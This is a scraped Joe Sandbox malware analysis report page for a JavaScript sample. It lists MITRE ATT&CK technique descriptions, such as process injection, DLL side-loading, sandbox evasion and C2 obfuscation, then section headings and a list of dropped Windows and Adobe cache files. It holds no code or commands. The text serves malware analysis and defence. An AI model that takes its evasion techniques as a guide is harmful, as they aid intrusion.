Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 221165125265292179.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b4028fba-cf98-4d18-9b5a-caf554763660.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7888

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
221165125265292179.js